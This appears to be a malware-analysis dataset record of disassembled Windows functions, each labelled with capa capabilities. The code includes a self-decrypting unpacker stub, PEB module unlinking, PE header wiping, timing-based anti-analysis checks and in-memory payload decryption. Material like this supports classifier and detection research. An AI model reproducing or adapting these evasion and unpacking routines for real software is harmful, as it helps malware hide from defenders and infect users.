joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100045d0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
push esi
mov esi, ecx
push edi
lea ebx, [esi + 0x10001c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
xor edi, edi
cmp dword [esi + 0x100010], edi
jle 0x10004622
lea eax, [esi + 0x80010]
push 0
push dword [esi + 0x100010]
add eax, edi
push eax
push dword [esi + 4]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x1000462f
sub dword [esi + 0x100010], eax
add edi, eax
cmp dword [esi + 0x100010], 0
lea eax, [esi + 0x80010]
jg 0x100045f2
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
mov al, 1
pop ebx
ret
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x10004667
push dword [esi + 0x100010]
lea eax, [esi + 0x80010]
add eax, edi
push eax
lea eax, [esi + 0x80010]
push eax
call fcn.1000d1f0
add esp, 0xc
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
mov al, 1
pop ebx
ret
mov eax, dword [esi + 4]
cmp eax, 0xffffffff
je 0x1000467d
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [esi + 4], 0xffffffff
mov eax, dword [esi + 8]
test eax, eax
je 0x10004692
push eax
call dword [sym.imp.WS2_32.dll_WSACloseEvent]
mov dword [esi + 8], 0
push ebx
mov byte [esi + 0x100038], 0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
xor al, al
pop ebx
ret

Function at 0x100046b0
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10026d28
mov eax, dword fs:[0]
push eax
sub esp, 0x20
push esi
push edi
mov eax, dword [0x10135994]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
sub eax, dword [0x10135430]
cmp eax, 0x927c0
jb 0x100046f5
call esi
mov dword [0x10135430], eax
push 0
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x2c], 1
push eax
lea eax, [ebp - 0x10]
mov dword [ebp - 0x28], 0
push eax
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
call sub.gdiplus.dll_GdiplusStartup
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
push 0x14
lea eax, [ebp - 0x1c]
mov dword [ebp - 4], 0
push eax
mov ecx, 0x1003518c
call fcn.10008610
test al, al
jne 0x10004758
mov esi, dword [ebp - 0x1c]
cmp esi, dword [ebp - 0x18]
jne 0x10004766
lea eax, [ebp - 0x1c]
mov ecx, edi
push eax
call fcn.100060d0
mov esi, dword [ebp - 0x1c]
push dword [ebp - 0x10]
call sub.gdiplus.dll_GdiplusShutdown
test esi, esi
je 0x10004781
mov eax, dword [ebp - 0x14]
lea ecx, [ebp - 0x1c]
sub eax, esi
push eax
push esi
call fcn.10007cc0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10005900
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x88
mov eax, dword [0x10135994]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, ecx
mov dword [ebp - 0x88], eax
cmp dword [ebx + 0x18], 0
je 0x10005a74
push esi
push edi
lea ecx, [ebp - 0x80]
push ecx
push eax
call dword [sym.imp.USER32.dll_BeginPaint]
mov esi, eax
lea eax, [ebp - 0x40]
push eax
push dword [ebx + 4]
mov dword [ebp - 0x84], esi
call dword [sym.imp.USER32.dll_GetClientRect]
push esi
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push dword [ebx + 0x18]
mov edi, eax
push edi
call dword [sym.imp.GDI32.dll_SelectObject]
push 0xcc0020
push 0
push 0
push edi
push dword [ebx + 0x14]
mov esi, eax
push dword [ebx + 0x10]
push 0
push 0
push dword [ebp - 0x84]
call dword [sym.imp.GDI32.dll_BitBlt]
push esi
mov esi, dword [sym.imp.GDI32.dll_SelectObject]
push edi
call esi
push edi
call dword [sym.imp.GDI32.dll_DeleteDC]
cmp byte [ebx + 0x20], 1
jne 0x10005a62
push str.Segoe_UI
push 2
push 5
push 0
push 8
push 1
push 0
push 0
push 0
push 0x12c
push 0
push 0
push 0
push 0xe
call dword [sym.imp.GDI32.dll_CreateFontA]
mov edi, dword [ebp - 0x84]
push eax
push edi
call esi
push 1
push edi
call dword [sym.imp.GDI32.dll_SetBkMode]
push dword [ebx + 0x120]
push edi
call dword [sym.imp.GDI32.dll_SetTextColor]
lea esi, [ebx + 0x21]
mov ecx, esi
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100059f0
mov eax, dword [ebx + 0x14]
sub ecx, edx
push ecx
push esi
sub eax, 0x25
push eax
push 0x12
push edi
call dword [sym.imp.GDI32.dll_TextOutA]
mov edx, 0x3e
xor ecx, ecx
mov al, byte [ecx + str.P03__1fuxyk]
xor al, dl
mov byte [ebp + ecx - 0x30], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x29
jb 0x10005a12
lea eax, [ebp - 0x30]
mov byte [ebp - 7], 0
push eax
push esi
call fcn.10009ee0
mov ecx, esi
add esp, 8
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10005a40
mov eax, dword [ebx + 0x14]
sub ecx, edx
push ecx
push esi
sub eax, 0xf
push eax
mov eax, dword [ebx + 0x10]
sub eax, 0xdc
push eax
push edi
call dword [sym.imp.GDI32.dll_TextOutA]
lea eax, [ebp - 0x80]
push eax
push dword [ebp - 0x88]
call dword [sym.imp.USER32.dll_EndPaint]
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.1000ba87
mov esp, ebp
pop ebp
ret 4
Function at 0x10005cd0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0xc]
push ebx
mov bl, byte [ebp + 0x10]
movsx eax, bl
movd xmm0, eax
xor eax, eax
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
pshufd xmm1, xmm0, 0
test edx, edx
jle 0x10005d61
push esi
mov esi, dword [ebp + 8]
cmp edx, 0x20
jb 0x10005d4b
mov ecx, edx
push edi
and ecx, 0x8000001f
jns 0x10005d0d
dec ecx
or ecx, 0xffffffe0
inc ecx
movaps xmm2, xmmword [0x10029ca0]
mov edi, edx
sub edi, ecx
lea ecx, [esi + 0x10]
nop dword [eax + eax]
movups xmm0, xmmword [ecx - 0x10]
add eax, 0x20
lea ecx, [ecx + 0x20]
paddb xmm0, xmm1
pxor xmm0, xmm2
movups xmmword [ecx - 0x30], xmm0
movups xmm0, xmmword [ecx - 0x20]
paddb xmm0, xmm1
pxor xmm0, xmm2
movups xmmword [ecx - 0x20], xmm0
cmp eax, edi
jl 0x10005d20
pop edi
cmp eax, edx
jge 0x10005d60
nop
mov cl, byte [eax + esi]
add cl, bl
xor cl, 0xa0
mov byte [eax + esi], cl
inc eax
cmp eax, edx
jl 0x10005d50
pop esi
pop ebx
pop ebp
ret

Function at 0x10005d70
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0xc]
push ebx
mov bl, byte [ebp + 0x10]
movsx eax, bl
movd xmm0, eax
xor eax, eax
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
pshufd xmm1, xmm0, 0
test edx, edx
jle 0x10005e01
push esi
mov esi, dword [ebp + 8]
cmp edx, 0x20
jb 0x10005deb
mov ecx, edx
push edi
and ecx, 0x8000001f
jns 0x10005dad
dec ecx
or ecx, 0xffffffe0
inc ecx
movaps xmm2, xmmword [0x10029ca0]
mov edi, edx
sub edi, ecx
lea ecx, [esi + 0x10]
nop dword [eax + eax]
movups xmm0, xmmword [ecx - 0x10]
add eax, 0x20
lea ecx, [ecx + 0x20]
pxor xmm0, xmm2
psubb xmm0, xmm1
movups xmmword [ecx - 0x30], xmm0
movups xmm0, xmmword [ecx - 0x20]
pxor xmm0, xmm2
psubb xmm0, xmm1
movups xmmword [ecx - 0x20], xmm0
cmp eax, edi
jl 0x10005dc0
pop edi
cmp eax, edx
jge 0x10005e00
nop
mov cl, byte [eax + esi]
xor cl, 0xa0
sub cl, bl
mov byte [eax + esi], cl
inc eax
cmp eax, edx
jl 0x10005df0
pop esi
pop ebx
pop ebp
ret
Function at 0x100062f0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
movzx eax, byte [ebp + 0x10]
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
push dword [ebp + 0x14]
push eax
push esi
push str._SplashScreen__SplashType:__d__TextSwitch:__d__DisplayText:__s
push 0
call fcn.10005a90
mov eax, dword [0x1003506c]
add esp, 0x14
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, dword [sym.imp.USER32.dll_UnregisterClassA]
test eax, eax
je 0x10006347
push 0
push 0
push 0x10
push eax
call edi
push dword [0x10136a34]
mov dword [0x1003506c], 0
push dword [0x10035084]
call ebx
mov eax, dword [0x1003519c]
test eax, eax
je 0x10006371
push 0
push 0
push 0x10
push eax
call edi
push dword [0x10136a34]
mov dword [0x1003519c], 0
push dword [0x100351b4]
call ebx
mov eax, dword [0x100352c4]
test eax, eax
je 0x1000639b
push 0
push 0
push 0x10
push eax
call edi
push dword [0x10136a34]
mov dword [0x100352c4], 0
push dword [0x100352dc]
call ebx
mov eax, esi
sub eax, 0
je 0x100063cc
sub eax, 1
je 0x100063c0
sub eax, 1
jne 0x100063b8
mov eax, 2
mov ecx, 0x2b39c0
jmp 0x100063d3
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0x10]
jmp 0x100063d3
mov eax, 1
mov ecx, 0x227ee6
jmp 0x100063d3
xor eax, eax
mov ecx, 0xf1f0ec
cmp byte [ebp + 0x10], 0
mov esi, dword [ebp + 8]
je 0x100063f7
push ecx
push dword [ebp + 0x14]
mov ecx, esi
push 1
push 0x808080
push dword [0x10136a34]
push eax
call fcn.100066c0
jmp 0x1000640a
push 0x808080
push dword [0x10136a34]
mov ecx, esi
push eax
call fcn.10006520
push 0
push 0
push esi
push 0x10006490
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp + 0x18]
test eax, eax
jle 0x1000647c
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [ebp + 0xc], 0
je 0x1000647c
mov eax, dword [esi + 4]
test eax, eax
je 0x10006468
push 0
push 0
push 0x10
push eax
call edi
mov dword [esi + 4], 0
push dword [0x10136a34]
push dword [esi + 0x1c]
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call 0x10006880
jmp dword [pe_dos_header]
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x10006520
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
mov eax, dword [0x10135994]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
mov esi, ecx
push edi
mov edi, dword [ebp + 0xc]
mov byte [esi + 0x20], 0
test eax, eax
jne 0x1000659a
mov edx, 0x4c
xor ecx, ecx
nop dword [eax]
mov al, byte [ecx + 0x10029890]
xor al, dl
mov byte [ebp + ecx - 0x20], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x1a
jb 0x10006550
push 0x10
push 0
push 0
push 0
lea eax, [ebp - 0x20]
mov byte [ebp - 6], 0
push eax
push edi
call dword [sym.imp.USER32.dll_LoadImageA]
xorps xmm0, xmm0
mov word [ebp - 8], 0
movups xmmword [ebp - 0x20], xmm0
mov byte [ebp - 6], 0
movq qword [ebp - 0x10], xmm0
jmp 0x1000665b
cmp eax, 1
jne 0x100065f3
mov edx, 0x82
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ecx + 0x100298ac]
xor al, dl
mov byte [ebp + ecx - 0x3c], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x19
jb 0x100065b0
push 0x10
push 0
push 0
push 0
lea eax, [ebp - 0x3c]
mov byte [ebp - 0x23], 0
push eax
push edi
call dword [sym.imp.USER32.dll_LoadImageA]
xorps xmm0, xmm0
mov word [ebp - 0x24], 0
movups xmmword [ebp - 0x3c], xmm0
movq qword [ebp - 0x2c], xmm0
jmp 0x1000665b
push 0x8bd8a3b0
cmp eax, 2
jne 0x1000662d
lea ecx, [ebp - 0x58]
call fcn.10002080
push 0x10
push 0
push 0
push 0
push eax
push edi
call dword [sym.imp.USER32.dll_LoadImageA]
xorps xmm0, xmm0
mov word [ebp - 0x40], 0
movups xmmword [ebp - 0x58], xmm0
mov byte [ebp - 0x3e], 0
movq qword [ebp - 0x48], xmm0
jmp 0x1000665b
lea ecx, [ebp - 0x74]
call fcn.10002080
push 0x10
push 0
push 0
push 0
push eax
push edi
call dword [sym.imp.USER32.dll_LoadImageA]
xorps xmm0, xmm0
mov word [ebp - 0x5c], 0
movups xmmword [ebp - 0x74], xmm0
mov byte [ebp - 0x5a], 0
movq qword [ebp - 0x64], xmm0
push eax
mov ecx, esi
call fcn.10006280
mov ecx, dword [esi + 4]
mov eax, dword [ebp + 0x10]
mov dword [esi + 0xc], eax
test ecx, ecx
je 0x100066a7
cmp dword [0x101369f8], 0
je 0x100066a7
test eax, eax
je 0x100066a7
push 0xffffffffffffffec
push ecx
call dword [sym.imp.USER32.dll_GetWindowLongA]
or eax, 0x80000
push eax
push 0xffffffffffffffec
push dword [esi + 4]
call dword [sym.imp.USER32.dll_SetWindowLongA]
push 1
push 0
push dword [esi + 0xc]
push dword [esi + 4]
call dword [0x101369f8]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.1000ba87
mov esp, ebp
pop ebp
ret 0xc
Function at 0x100066c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x74
mov eax, dword [0x10135994]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0x18]
mov al, byte [ebp + 0x14]
push esi
mov esi, ecx
push edi
mov edi, dword [ebp + 0xc]
push edx
mov byte [esi + 0x20], al
lea eax, [esi + 0x21]
push 0xff
push eax
call fcn.10010e61
mov eax, dword [ebp + 0x1c]
add esp, 0xc
mov dword [esi + 0x120], eax
mov eax, dword [ebp + 8]
test eax, eax
jne 0x1000675a
mov edx, 0x4c
xor ecx, ecx
nop dword [eax]
mov al, byte [ecx + 0x10029890]
xor al, dl
mov byte [ebp + ecx - 0x20], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x1a
jb 0x10006710
push 0x10
push 0
push 0
push 0
lea eax, [ebp - 0x20]
mov byte [ebp - 6], 0
push eax
push edi
call dword [sym.imp.USER32.dll_LoadImageA]
xorps xmm0, xmm0
mov word [ebp - 8], 0
movups xmmword [ebp - 0x20], xmm0
mov byte [ebp - 6], 0
movq qword [ebp - 0x10], xmm0
jmp 0x1000681b
cmp eax, 1
jne 0x100067b3
mov edx, 0x82
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ecx + 0x100298ac]
xor al, dl
mov byte [ebp + ecx - 0x3c], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x19
jb 0x10006770
push 0x10
push 0
push 0
push 0
lea eax, [ebp - 0x3c]
mov byte [ebp - 0x23], 0
push eax
push edi
call dword [sym.imp.USER32.dll_LoadImageA]
xorps xmm0, xmm0
mov word [ebp - 0x24], 0
movups xmmword [ebp - 0x3c], xmm0
movq qword [ebp - 0x2c], xmm0
jmp 0x1000681b
push 0x8bd8a3b0
cmp eax, 2
jne 0x100067ed
lea ecx, [ebp - 0x58]
call fcn.10002080
push 0x10
push 0
push 0
push 0
push eax
push edi
call dword [sym.imp.USER32.dll_LoadImageA]
xorps xmm0, xmm0
mov word [ebp - 0x40], 0
movups xmmword [ebp - 0x58], xmm0
mov byte [ebp - 0x3e], 0
movq qword [ebp - 0x48], xmm0
jmp 0x1000681b
lea ecx, [ebp - 0x74]
call fcn.10002080
push 0x10
push 0
push 0
push 0
push eax
push edi
call dword [sym.imp.USER32.dll_LoadImageA]
xorps xmm0, xmm0
mov word [ebp - 0x5c], 0
movups xmmword [ebp - 0x74], xmm0
mov byte [ebp - 0x5a], 0
movq qword [ebp - 0x64], xmm0
push eax
mov ecx, esi
call fcn.10006280
mov ecx, dword [esi + 4]
mov eax, dword [ebp + 0x10]
mov dword [esi + 0xc], eax
test ecx, ecx
je 0x10006867
cmp dword [0x101369f8], 0
je 0x10006867
test eax, eax
je 0x10006867
push 0xffffffffffffffec
push ecx
call dword [sym.imp.USER32.dll_GetWindowLongA]
or eax, 0x80000
push eax
push 0xffffffffffffffec
push dword [esi + 4]
call dword [sym.imp.USER32.dll_SetWindowLongA]
push 1
push 0
push dword [esi + 0xc]
push dword [esi + 4]
call dword [0x101369f8]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.1000ba87
mov esp, ebp
pop ebp
ret 0x18
Function at 0x100096d0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
test esi, esi
je 0x1000972a
push edi
mov edi, dword [esi + 0x3c]
lea eax, [ebp + 8]
push eax
push 4
push 0x40
push esi
add edi, esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x10009706
xorps xmm0, xmm0
movups xmmword [esi], xmm0
movups xmmword [esi + 0x10], xmm0
movups xmmword [esi + 0x20], xmm0
movups xmmword [esi + 0x30], xmm0
test edi, edi
je 0x10009729
lea eax, [ebp + 8]
push eax
push 4
push 0xf8
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x10009729
mov ecx, 0x3e
xor eax, eax
rep stosd dword es:[edi], eax
pop edi
pop esi
pop ebp
ret

Function at 0x10009730
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push 0x1c
lea eax, [ebp - 0x1c]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
lea eax, [ebp - 8]
push eax
push 0x40
push dword [ebp - 0x10]
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0x1000
push 0
push dword [ebp + 8]
call fcn.1000e5c0
add esp, 0xc
push 0
push dword [ebp - 8]
push dword [ebp - 0x10]
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push dword [ebp - 0x10]
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov esp, ebp
pop ebp
ret

Function at 0x100097a0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
test esi, esi
je 0x10009816
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0x18]
test ecx, ecx
je 0x10009816
nop
cmp ecx, esi
jne 0x1000980d
mov edx, dword [eax + 4]
test edx, edx
je 0x100097cf
mov ecx, dword [eax]
mov dword [edx], ecx
mov edx, dword [eax + 4]
test edx, edx
je 0x100097db
mov ecx, dword [eax]
mov dword [ecx + 4], edx
mov edx, dword [eax + 0x14]
test edx, edx
je 0x100097e7
mov ecx, dword [eax + 0x10]
mov dword [edx], ecx
mov edx, dword [eax + 0x10]
test edx, edx
je 0x100097f4
mov ecx, dword [eax + 0x14]
mov dword [edx + 4], ecx
mov edx, dword [eax + 8]
test edx, edx
je 0x10009800
mov ecx, dword [eax + 0xc]
mov dword [ecx], edx
mov edx, dword [eax + 8]
test edx, edx
je 0x1000980d
mov ecx, dword [eax + 0xc]
mov dword [edx + 4], ecx
mov eax, dword [eax]
mov ecx, dword [eax + 0x18]
test ecx, ecx
jne 0x100097c0
pop esi
pop ebp
ret
Function at 0x10009c80
Capabilities:
Create thread
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x10135994]
xor eax, ebp
mov dword [ebp - 4], eax
sub dword [ebp + 0xc], 1
jne 0x10009de2
mov eax, dword [ebp + 8]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 0
push 0x92169f
push 0x10136f18
push 0x400000
mov dword [0x10136a34], eax
call esi
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
movaps xmm1, xmmword [0x10029c80]
mov eax, 0x10136f28
movaps xmm2, xmmword [str.wwwwwwwwwwwwwwww]
mov edx, 0x490b4
mov ecx, 0x921680
lea eax, [eax + 0x20]
movups xmm0, xmmword [eax - 0x30]
psubb xmm0, xmm1
movups xmmword [eax - 0x30], xmm0
movups xmm0, xmmword [eax - 0x30]
pxor xmm0, xmm2
movups xmmword [eax - 0x30], xmm0
movups xmm0, xmmword [eax - 0x20]
psubb xmm0, xmm1
movups xmmword [eax - 0x20], xmm0
movups xmm0, xmmword [eax - 0x20]
pxor xmm0, xmm2
movups xmmword [eax - 0x20], xmm0
sub edx, 1
jne 0x10009ce0
nop dword [eax + eax]
mov al, byte [ecx + 0x10136f18]
sub al, 0x10
xor al, 0x77
mov byte [ecx + 0x10136f18], al
inc ecx
cmp ecx, 0x92169f
jb 0x10009d20
push 0xc
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x20], 0xffffffa1
push eax
xorps xmm0, xmm0
mov dword [ebp - 0x1c], 0xffffffff
push 0x400000
mov dword [ebp - 0x18], 0xffff8b32
mov dword [ebp - 0x14], 0xffffffff
mov dword [ebp - 0x10], 0x78ffffff
mov dword [ebp - 0xc], 0x8bffff89
mov word [ebp - 8], 0x8ff
mov byte [ebp - 6], 0x51
mov dword [ebp - 0x2c], 0
movq qword [ebp - 0x28], xmm0
call esi
push eax
call sub.PSAPI.DLL_GetModuleInformation
mov esi, dword [ebp - 0x28]
xor edx, edx
test esi, esi
je 0x10009e00
nop dword [eax + eax]
xor eax, eax
mov cl, byte [ebp + eax - 0x20]
cmp cl, 0xff
je 0x10009db4
cmp byte [eax + edx + 0x400000], cl
jne 0x10009df7
inc eax
cmp eax, 0x1b
jl 0x10009da2
lea eax, [edx + 0x400000]
test eax, eax
je 0x10009dcc
mov eax, dword [eax + 1]
mov dword [0x10136c18], eax
push 0
push 0
push 0
push 0x10004bb0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop esi
mov ecx, dword [ebp - 4]
mov eax, 1
xor ecx, ebp
call fcn.1000ba87
mov esp, ebp
pop ebp
ret 0xc
inc edx
cmp edx, esi
jb 0x10009da0
jmp 0x10009dcc
xor eax, eax
mov cl, byte [ebp + eax - 0x20]
cmp cl, 0xff
je 0x10009e14
cmp byte [eax + edx + 0x400000], cl
jne 0x10009e1c
inc eax
cmp eax, 0x1b
jl 0x10009e02
jmp 0x10009dba
inc edx
cmp edx, 0x2000000
jb 0x10009e00
jmp 0x10009dcc

Function at 0x1001a5b3
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.1001a432

Function at 0x1001ef14
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.1001ebd4

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x4014f0
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push esi
mov esi, dword [ebp + 8]
test esi, 0x8000
push edi
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
je 0x401535
and esi, 0x7fff
jmp 0x401558
and esi, 0xffff
mov eax, 0x10624dd3
imul esi
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
mov esi, edx
test si, si
ja 0x401558
mov esi, 1
mov eax, dword [0x411c8c]
test eax, eax
je 0x401582
mov ecx, dword [0x411c84]
push 0x411c90
push ecx
call fcn.004045d0
add esp, 8
test eax, eax
jne 0x401642
mov dword [0x411c94], eax
cmp word [0x411920], 0
jbe 0x4015df
test si, si
jbe 0x401642
and esi, 0xffff
mov edx, 0x3e8
xor ecx, ecx
nop
mov eax, dword [0x411920]
and eax, 0xffff
mov edi, eax
and edi, 0x80000007
jns 0x4015bc
dec edi
or edi, 0xfffffff8
inc edi
neg edi
sbb edi, edi
neg edi
shr eax, 3
add edi, eax
mov eax, ecx
and eax, 0xffff
inc ecx
cmp eax, edi
jl 0x4015a2
dec edx
jne 0x4015a0
dec esi
jne 0x40159b
pop edi
pop esi
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov edi, dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea edx, [ebp - 0x10]
push edx
call edi
lea eax, [ebp - 8]
push eax
call edi
and esi, 0xffff
mov dword [ebp + 8], esi
fild dword [ebp + 8]
fstp qword [ebp - 0x20]
fld qword [ebp - 8]
fsub qword [ebp - 0x10]
fdiv qword [ebp - 0x18]
fmul qword [0x40d120]
fcomp qword [ebp - 0x20]
fnstsw ax
test ah, 1
je 0x401642
lea ecx, [ebp - 8]
push ecx
call edi
fld qword [ebp - 8]
fsub qword [ebp - 0x10]
fdiv qword [ebp - 0x18]
fmul qword [0x40d120]
fcomp qword [ebp - 0x20]
fnstsw ax
test ah, 1
jne 0x401623
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x404720
Capabilities:
Stop service

Disassembly:
mov eax, dword [esp + 8]
mov ecx, dword [esp + 4]
sub esp, 0x1c
push esi
push edi
push 0x20
push eax
push ecx
xor edi, edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
jne 0x40474b
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop edi
pop esi
add esp, 0x1c
ret
lea edx, [esp + 8]
push edx
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
jne 0x404765
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
push esi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, edi
pop edi
pop esi
add esp, 0x1c
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx